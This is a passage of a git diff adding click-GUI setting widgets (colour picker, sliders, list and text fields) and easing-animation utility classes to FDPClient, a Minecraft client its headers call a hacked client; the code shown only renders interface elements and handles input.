colorPickerBottom); + } + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + if (this.hueSelectorDragging) { + this.hueSelectorDragging = false; + } + else if (this.colorSelectorDragging) { + this.colorSelectorDragging = false; + } + else if (this.alphaSelectorDragging) { + this.alphaSelectorDragging = false; + } + } + + public void updateColor(int hex, boolean hasAlpha) { + if (hasAlpha) { + colorValue.set(hex); + } else { + colorValue.set(new Color(hex >> 16 & 0xFF, hex >> 8 & 0xFF, hex & 0xFF, (int)(this.alpha * 255.0f)).getRGB()); + } + } + + private void drawColorPickerRect(final float left, final float top, final float right, final float bottom) { + final int hueBasedColor = RenderUtils.getColor(Color.HSBtoRGB(this.hue, 1.0f, 1.0f)); + RenderUtils.drawGradientRect(left, top, right, bottom, true, RenderUtils.getColor(16777215), hueBasedColor); + RenderUtils.drawGradientRect(left, top, right, bottom, 0, RenderUtils.getColor(0)); + } + + public void updateValue(final int value) { + final float[] hsb = this.getHSBFromColor(value); + this.hue = hsb[0]; + this.saturation = hsb[1]; + this.brightness = hsb[2]; + this.alpha = (value >> 24 & 0xFF) / 255.0f; + } + + private float[] getHSBFromColor(final int hex) { + final int r2 = hex >> 16 & 0xFF; + final int g2 = hex >> 8 & 0xFF; + final int b2 = hex & 0xFF; + return Color.RGBtoHSB(r2, g2, b2, null); + } + + public float getExpandedX() { + return this.modulex + 5.0f + this.pos.x + 115.0f + 11.0f - 80.333336f; + } + + public float getExpandedY() { + return this.moduley + 17.0f + this.colory + 10.0f + 5.0f; + } + + public float getExpandedWidth() { + final float right = this.modulex + 5.0f + this.pos.x + 115.0f + 11.0f; + return right - this.getExpandedX(); + } + + public float getExpandedHeight() { + return 11.0f; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/FloatSetting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/FloatSetting.java new file mode 100644 index 0000000..f939933 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/FloatSetting.java @@ -0,0 +1,77 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Downward; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.ModuleRender; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.OtcClickGUi; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.MathUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.render.RoundedUtil; +import net.ccbluex.liquidbounce.features.value.FloatValue; +import net.ccbluex.liquidbounce.features.value.Value; +import net.minecraft.client.Minecraft; +import net.minecraft.util.MathHelper; + +import java.awt.*; + +public class FloatSetting extends Downward<FloatValue> { + private float modulex; + private float moduley; + private float numbery; + public float percent; + private boolean iloveyou; + + public FloatSetting(final FloatValue s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + super(s, x, y, width, height, moduleRender); + this.percent = 0.0f; + } + + @Override + public void draw(final int mouseX, final int mouseY) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.numbery = this.pos.y + this.getScrollY(); + Minecraft.getMinecraft(); + final double clamp = MathHelper.clamp_double((double)(Minecraft.getDebugFPS() / 30), 1.0, 9999.0); + final double percentBar = (((FloatValue)this.setting).get() - (double)((FloatValue)this.setting).getMinimum()) / (((FloatValue)this.setting).getMaximum() - ((FloatValue)this.setting).getMinimum()); + this.percent = Math.max(0.0f, Math.min(1.0f, (float)(this.percent + (Math.max(0.0, Math.min(percentBar, 1.0)) - this.percent) * (0.2 / clamp)))); + RoundedUtil.drawRound(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.numbery + 8.0f, 75.0f, 2.5f, 1.0f, new Color(34, 38, 48)); + RoundedUtil.drawRound(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.numbery + 8.0f, 75.0f * this.percent, 2.5f, 1.0f, new Color(guiColor)); + Fonts.fontTahoma.drawString(((FloatValue)this.setting).getName(), this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.numbery + 8.0f, new Color(200, 200, 200).getRGB()); + if (this.iloveyou) { + final float percentt = Math.min(1.0f, Math.max(0.0f, (mouseX - (this.modulex + 5.0f + this.pos.x + 55.0f)) / 99.0f * 1.3f)); + final double newValue = percentt * (((FloatValue)this.setting).getMaximum() - ((FloatValue)this.setting).getMinimum()) + ((FloatValue)this.setting).getMinimum(); + final double set = MathUtils.INSTANCE.incValue(newValue, 0.1); + ((FloatValue)this.setting).set(set); + } + final ClickGUIModule cg = (ClickGUIModule) FDPClient.moduleManager.getModule(ClickGUIModule.class); + if (this.iloveyou || this.isHovered(mouseX, mouseY) || cg.INSTANCE.getDisp().get()) { + RoundedUtil.drawRound(this.modulex + 5.0f + this.pos.x + 55.0f + 61.0f * this.percent, this.moduley + 17.0f + this.numbery + 8.0f + 6.0f, (float)(Fonts.fontTahoma.getStringWidth(((Value<?>)this.setting).get() + "") + 2), 6.0f, 1.0f, new Color(32, 34, 39)); + Fonts.fontTahoma.drawString(((Value<?>)this.setting).get() + "", this.modulex + 5.0f + this.pos.x + 55.0f + 62.0f * this.percent, this.moduley + 17.0f + this.numbery + 8.0f + 8.0f, new Color(250, 250, 250).getRGB()); + } + if (this.isHovered(mouseX, mouseY)) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.numbery + 8.0f, 75.0f, 2.5f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, guiColor); + } + } + + @Override + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (this.isHovered(mouseX, mouseY) && mouseButton == 0) { + this.iloveyou = true; + } + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + if (state == 0) { + this.iloveyou = false; + } + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.pos.x + 55.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 55.0f + 75.0f && mouseY >= this.moduley + 17.0f + this.numbery + 8.0f && mouseY <= this.moduley + 17.0f + this.numbery + 8.0f + 2.5f; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/ListSetting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/ListSetting.java new file mode 100644 index 0000000..1a2d3d6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/ListSetting.java @@ -0,0 +1,76 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings; + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.*; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.misc.Direction; +import net.ccbluex.liquidbounce.utils.misc.EaseInOutQuad; +import net.ccbluex.liquidbounce.utils.misc.Animation; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.ListValue; +import net.ccbluex.liquidbounce.features.value.Value; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public class ListSetting extends Downward { + private ListValue listValue; + private final Animation arrowAnimation; + private float modulex; + private float moduley; + private float listy; + + public ListSetting(final ListValue s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + super(s, x, y, width, height, moduleRender); + this.arrowAnimation = new EaseInOutQuad(250, 1.0, Direction.BACKWARDS); + this.listValue = s; + } + + @Override + public void draw(final int mouseX, final int mouseY) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.listy = this.pos.y + this.getScrollY(); + Fonts.fontTahoma.drawString(this.listValue.getName(), this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.listy + 13.0f, new Color(200, 200, 200).getRGB()); + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 80.0f, this.moduley + 17.0f + this.listy + 8.0f, 50.0f, 11.0f, 1.0f, new Color(59, 63, 72).getRGB(), 1.0f, new Color(85, 90, 96).getRGB()); + if (this.isHovered(mouseX, mouseY)) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 80.0f, this.moduley + 17.0f + this.listy + 8.0f, 50.0f, 11.0f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, guiColor); + } + Fonts.fontTahoma.drawString(this.listValue.get() + "", this.modulex + 5.0f + this.pos.x + 82.0f, this.moduley + 17.0f + this.listy + 13.0f, new Color(200, 200, 200).getRGB()); + this.arrowAnimation.setDirection(this.listValue.openList ? Direction.FORWARDS : Direction.BACKWARDS); + RenderUtils.drawClickGuiArrow(this.modulex + 5.0f + this.pos.x + 123.5f, this.moduley + 17.0f + this.listy + 13.0f, 4.0f, this.arrowAnimation, new Color(222, 224, 236).getRGB()); + if (this.listValue.openList) { + GL11.glTranslatef(0.0f, 0.0f, 2.0f); + RenderUtils.drawBorderedRect(this.modulex + 5.0f + this.pos.x + 80.0f, this.moduley + 17.0f + this.listy + 8.0f + 13.0f, this.modulex + 5.0f + this.pos.x + 80.0f + 50.0f, this.moduley + 17.0f + this.listy + 8.0f + 13.0f + this.listValue.getModes().size() * 11.0f, 1.0f, new Color(85, 90, 96).getRGB(), new Color(59, 63, 72).getRGB()); + for (final String option : this.listValue.getModes()) { + Fonts.fontTahoma.drawString(option, this.modulex + 5.0f + this.pos.x + 82.0f, this.moduley + 17.0f + this.listy + 1.0f + 13.0f + 12.0f + this.listValue.getModeListNumber(option) * 11, option.equals(((Value<?>)this.listValue).get()) ? guiColor : new Color(200, 200, 200).getRGB()); + } + GL11.glTranslatef(0.0f, 0.0f, -2.0f); + } + } + + @Override + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (mouseButton == 1 && this.isHovered(mouseX, mouseY)) { + this.listValue.openList = !this.listValue.openList; + } + if (mouseButton == 0 && this.listValue.openList && mouseX >= this.modulex + 5.0f + this.pos.x + 80.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 80.0f + 50.0f) { + for (int i = 0; i < this.listValue.getModes().size(); ++i) { + final int v = (int)(this.moduley + 17.0f + this.listy + 8.0f + 13.0f + i * 11); + if (mouseY >= v && mouseY <= v + 11) { + this.listValue.set(this.listValue.getModeGet(i)); + this.listValue.openList = false; + } + } + } + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.pos.x + 80.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 80.0f + 50.0f && mouseY >= this.moduley + 17.0f + this.listy + 8.0f && mouseY <= this.moduley + 17.0f + this.listy + 8.0f + 11.0f; + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/NumberSetting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/NumberSetting.java new file mode 100644 index 0000000..053b82d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/NumberSetting.java @@ -0,0 +1,75 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.*; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.MathUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.render.RoundedUtil; +import net.ccbluex.liquidbounce.features.value.IntegerValue; +import net.ccbluex.liquidbounce.features.value.Value; +import net.minecraft.client.Minecraft; +import net.minecraft.util.MathHelper; + +import java.awt.*; + +public class NumberSetting extends Downward<IntegerValue> { + private float modulex; + private float moduley; + private float numbery; + public float percent; + private boolean iloveyou; + + public NumberSetting(final IntegerValue s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + super(s, x, y, width, height, moduleRender); + this.percent = 0.0f; + } + + @Override + public void draw(final int mouseX, final int mouseY) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.numbery = this.pos.y + this.getScrollY(); + Minecraft.getMinecraft(); + final double clamp = MathHelper.clamp_double((double)(Minecraft.getDebugFPS() / 30), 1.0, 9999.0); + final double percentBar = (((IntegerValue)this.setting).get() - (double)((IntegerValue)this.setting).getMinimum()) / (((IntegerValue)this.setting).getMaximum() - ((IntegerValue)this.setting).getMinimum()); + this.percent = Math.max(0.0f, Math.min(1.0f, (float)(this.percent + (Math.max(0.0, Math.min(percentBar, 1.0)) - this.percent) * (0.2 / clamp)))); + RoundedUtil.drawRound(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.numbery + 8.0f, 75.0f, 2.5f, 1.0f, new Color(34, 38, 48)); + RoundedUtil.drawRound(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.numbery + 8.0f, 75.0f * this.percent, 2.5f, 1.0f, new Color(guiColor)); + Fonts.fontTahoma.drawString(((IntegerValue)this.setting).getName(), this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.numbery + 8.0f, new Color(200, 200, 200).getRGB()); + if (this.iloveyou) { + final float percentt = Math.min(1.0f, Math.max(0.0f, (mouseX - (this.modulex + 5.0f + this.pos.x + 55.0f)) / 99.0f * 1.3f)); + final double newValue = percentt * (((IntegerValue)this.setting).getMaximum() - ((IntegerValue)this.setting).getMinimum()) + ((IntegerValue)this.setting).getMinimum(); + final double set = MathUtils.INSTANCE.incValue(newValue, 1.0); + ((IntegerValue)this.setting).set(set); + } + final ClickGUIModule cg = (ClickGUIModule) FDPClient.moduleManager.getModule(ClickGUIModule.class); + if (this.iloveyou || this.isHovered(mouseX, mouseY) || cg.getDisp().get()) { + RoundedUtil.drawRound(this.modulex + 5.0f + this.pos.x + 55.0f + 61.0f * this.percent, this.moduley + 17.0f + this.numbery + 8.0f + 6.0f, (float)(Fonts.fontTahoma.getStringWidth(((Value<?>)this.setting).get() + "") + 2), 6.0f, 1.0f, new Color(32, 34, 39)); + Fonts.fontTahoma.drawString(((Value<?>)this.setting).get() + "", this.modulex + 5.0f + this.pos.x + 55.0f + 62.0f * this.percent, this.moduley + 17.0f + this.numbery + 8.0f + 8.0f, new Color(250, 250, 250).getRGB()); + } + if (this.isHovered(mouseX, mouseY)) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.numbery + 8.0f, 75.0f, 2.5f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, guiColor); + } + } + + @Override + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (this.isHovered(mouseX, mouseY) && mouseButton == 0) { + this.iloveyou = true; + } + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + if (state == 0) { + this.iloveyou = false; + } + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.pos.x + 55.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 55.0f + 75.0f && mouseY >= this.moduley + 17.0f + this.numbery + 8.0f && mouseY <= this.moduley + 17.0f + this.numbery + 8.0f + 2.5f; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/TextSetting.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/TextSetting.java new file mode 100644 index 0000000..e3be893 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Settings/TextSetting.java @@ -0,0 +1,78 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Settings; + +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.*; +import net.ccbluex.liquidbounce.ui.font.Fonts; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.features.value.TextValue; +import net.ccbluex.liquidbounce.features.value.Value; +import org.lwjgl.input.Keyboard; + +import java.awt.*; + +public class TextSetting extends Downward<TextValue> { + public TextValue textValue; + private float modulex; + private float moduley; + private float texty; + + public TextSetting(final TextValue s, final float x, final float y, final int width, final int height, final ModuleRender moduleRender) { + super(s, x, y, width, height, moduleRender); + this.textValue = s; + } + + @Override + public void draw(final int mouseX, final int mouseY) { + int guiColor = ClickGUIModule.INSTANCE.generateColor().getRGB(); + this.modulex = OtcClickGUi.getMainx(); + this.moduley = OtcClickGUi.getMainy(); + this.texty = this.pos.y + this.getScrollY(); + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.texty + 8.0f, 75.0f, 11.0f, 1.0f, new Color(59, 63, 72).getRGB(), 1.0f, this.textValue.getTextHovered() ? guiColor : new Color(85, 90, 96).getRGB()); + if (this.isHovered(mouseX, mouseY) && !this.textValue.getTextHovered()) { + RenderUtils.drawRoundedRect(this.modulex + 5.0f + this.pos.x + 55.0f, this.moduley + 17.0f + this.texty + 8.0f, 75.0f, 11.0f, 1.0f, new Color(0, 0, 0, 0).getRGB(), 1.0f, guiColor); + } + Fonts.fontTahoma.drawString(this.textValue.getName(), this.modulex + 5.0f + this.pos.x + 4.0f, this.moduley + 17.0f + this.texty + 13.0f, new Color(200, 200, 200).getRGB()); + if (Fonts.fontTahoma.getStringWidth(this.textValue.getTextHovered() ? (this.textValue.get() + "_") : ((Value<String>)this.textValue).get()) > 70) { + Fonts.fontTahoma.drawString(Fonts.fontTahoma.trimStringToWidth(this.textValue.getTextHovered() ? (this.textValue.get() + "_") : ((Value<String>)this.textValue).get(), 78, true), this.modulex + 5.0f + this.pos.x + 57.0f, this.moduley + 17.0f + this.texty + 13.0f, new Color(200, 200, 200).getRGB()); + } + else if (this.textValue.get().isEmpty() && !this.textValue.getTextHovered()) { + Fonts.fontTahoma.drawString("Type Here...", this.modulex + 5.0f + this.pos.x + 57.0f, this.moduley + 17.0f + this.texty + 13.0f, new Color(200, 200, 200).getRGB()); + } + else { + Fonts.fontTahoma.drawString(this.textValue.getTextHovered() ? (this.textValue.get() + "_") : ((Value<String>)this.textValue).get(), this.modulex + 5.0f + this.pos.x + 57.0f, this.moduley + 17.0f + this.texty + 13.0f, new Color(200, 200, 200).getRGB()); + } + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.modulex + 5.0f + this.pos.x + 55.0f && mouseX <= this.modulex + 5.0f + this.pos.x + 55.0f + 75.0f && mouseY >= this.moduley + 17.0f + this.texty + 8.0f && mouseY <= this.moduley + 17.0f + this.texty + 8.0f + 11.0f; + } + + @Override + public void mouseClicked(final int mouseX, final int mouseY, final int mouseButton) { + if (this.isHovered(mouseX, mouseY)) { + this.textValue.setTextHovered(!this.textValue.getTextHovered()); + } + else if (this.textValue.getTextHovered()) { + this.textValue.setTextHovered(false); + } + } + + @Override + public void keyTyped(final char typedChar, final int keyCode) { + if (this.textValue.getTextHovered()) { + if (keyCode == 1) { + this.textValue.setTextHovered(false); + } + else if (keyCode != 14 && keyCode != 157 && keyCode != 29 && keyCode != 54 && keyCode != 42 && keyCode != 15 && keyCode != 58 && keyCode != 211 && keyCode != 199 && keyCode != 210 && keyCode != 200 && keyCode != 208 && keyCode != 205 && keyCode != 203 && keyCode != 56 && keyCode != 184 && keyCode != 197 && keyCode != 70 && keyCode != 207 && keyCode != 201 && keyCode != 209 && keyCode != 221 && keyCode != 59 && keyCode != 60 && keyCode != 61 && keyCode != 62 && keyCode != 63 && keyCode != 64 && keyCode != 65 && keyCode != 66 && keyCode != 67 && keyCode != 68 && keyCode != 87 && keyCode != 88) { + this.textValue.append(typedChar); + } + if (((TextValue)this.setting).getTextHovered() && Keyboard.isKeyDown(14) && this.textValue.get().length() >= 1) { + this.textValue.set(this.textValue.get().substring(0, this.textValue.get().length() - 1)); + } + } + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY, final int state) { + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Utils/OtcScroll.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Utils/OtcScroll.java new file mode 100644 index 0000000..6e5e609 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Utils/OtcScroll.java @@ -0,0 +1,7 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Utils; + +public enum OtcScroll +{ + UP, + DOWN; +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Utils/Position.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Utils/Position.java new file mode 100644 index 0000000..74767b9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/style/styles/onetap/Utils/Position.java @@ -0,0 +1,38 @@ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.Utils; + +import com.google.gson.annotations.Expose; + +public class Position +{ + @Expose + public float x; + @Expose + public float y; + @Expose + public float width; + @Expose + public float height; + + public Position(final float x, final float y, final float width, final float height) { + this.x = x; + this.y = y; + this.width = width; + this.height = height; + } + + public static Position empty() { + return new Position(-1.0f, -1.0f, 0.0f, 0.0f); + } + + public boolean isHovered(final int mouseX, final int mouseY) { + return mouseX >= this.x && mouseX <= this.x + this.width && mouseY >= this.y && mouseY <= this.y + this.height; + } + + public boolean isHovered(final int mouseX, final int mouseY, final int offsetX, final int offsetY, final int cWidth, final int cHeight) { + return mouseX >= this.x + offsetX && mouseX <= this.x + offsetX + cWidth && mouseY >= this.y + offsetY && mouseY <= this.y + offsetY + cHeight; + } + + public float[] clicksOff(final int mouseX, final int mouseY) { + return new float[] { mouseX - this.x, mouseY - this.y }; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/Animation.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/Animation.java new file mode 100644 index 0000000..ded5ddd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/Animation.java @@ -0,0 +1,68 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.normal.TimerUtil; + +public abstract class Animation { + + public final TimerUtil timerUtil = new TimerUtil(); + protected int duration; + protected double endPoint; + protected Direction direction; + + public Animation(int ms, double endPoint) { + this.duration = ms; + this.endPoint = endPoint; + this.direction = Direction.FORWARDS; + } + + public Animation(int ms, double endPoint, Direction direction) { + this.duration = ms; //Time in milliseconds of how long you want the animation to take. + this.endPoint = endPoint; //The desired distance for the animated object to go. + this.direction = direction; //Direction in which the graph is going. If backwards, will start from endPoint and go to 0. + } + + public boolean finished(Direction direction) { + return isDone() && this.direction.equals(direction); + } + + public boolean isDone() { + return timerUtil.hasTimeElapsed(duration); + } + + public Direction getDirection() { + return direction; + } + + public void setDirection(Direction direction) { + if (this.direction != direction) { + this.direction = direction; + timerUtil.setTime(System.currentTimeMillis() - (duration - Math.min(duration, timerUtil.getTime()))); + } + } + + protected boolean correctOutput() { + return false; + } + + public double getOutput() { + if (direction == Direction.FORWARDS) { + if (isDone()) + return endPoint; + return (getEquation(timerUtil.getTime()) * endPoint); + } else { + if (isDone()) return 0; + if (correctOutput()) { + double revTime = Math.min(duration, Math.max(0, duration - timerUtil.getTime())); + return getEquation(revTime) * endPoint; + } else return (1 - getEquation(timerUtil.getTime())) * endPoint; + } + } + + protected abstract double getEquation(double x); + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/Direction.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/Direction.java new file mode 100644 index 0000000..25573aa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/Direction.java @@ -0,0 +1,12 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations; + +public enum Direction { + FORWARDS, + BACKWARDS; + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/DecelerateAnimation.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/DecelerateAnimation.java new file mode 100644 index 0000000..9e7eb2f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/DecelerateAnimation.java @@ -0,0 +1,25 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Direction; + +public class DecelerateAnimation extends Animation { + + public DecelerateAnimation(int ms, double endPoint) { + super(ms, endPoint); + } + + public DecelerateAnimation(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + protected double getEquation(double x) { + double x1 = x / duration; + return 1 - ((x1 - 1) * (x1 - 1)); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/EaseBackIn.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/EaseBackIn.java new file mode 100644 index 0000000..f05be0b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/EaseBackIn.java @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Direction; + +public class EaseBackIn extends Animation { + private final float easeAmount; + + public EaseBackIn(int ms, double endPoint, float easeAmount) { + super(ms, endPoint); + this.easeAmount = easeAmount; + } + + public EaseBackIn(int ms, double endPoint, float easeAmount, Direction direction) { + super(ms, endPoint, direction); + this.easeAmount = easeAmount; + } + + @Override + protected boolean correctOutput() { + return true; + } + + @Override + protected double getEquation(double x) { + double x1 = x / duration; + float shrink = easeAmount + 1; + return Math.max(0, 1 + shrink * Math.pow(x1 - 1, 3) + easeAmount * Math.pow(x1 - 1, 2)); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/EaseInOutQuad.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/EaseInOutQuad.java new file mode 100644 index 0000000..9b5ed4f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/EaseInOutQuad.java @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.impl; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Animation; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.animations.Direction; + +public class EaseInOutQuad extends Animation { + + public EaseInOutQuad(int ms, double endPoint) { + super(ms, endPoint); + } + + public EaseInOutQuad(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + protected double getEquation(double x1) { + double x = x1 / duration; + return x < 0.5 ? 2 * Math.pow(x, 2) : 1 - Math.pow(-2 * x + 2, 2) / 2; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/ElasticAnimation.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/ElasticAnimation.java new file mode 100644 index 0000000..7c1943e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/utils/animations/impl/ElasticAnimation.java @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source 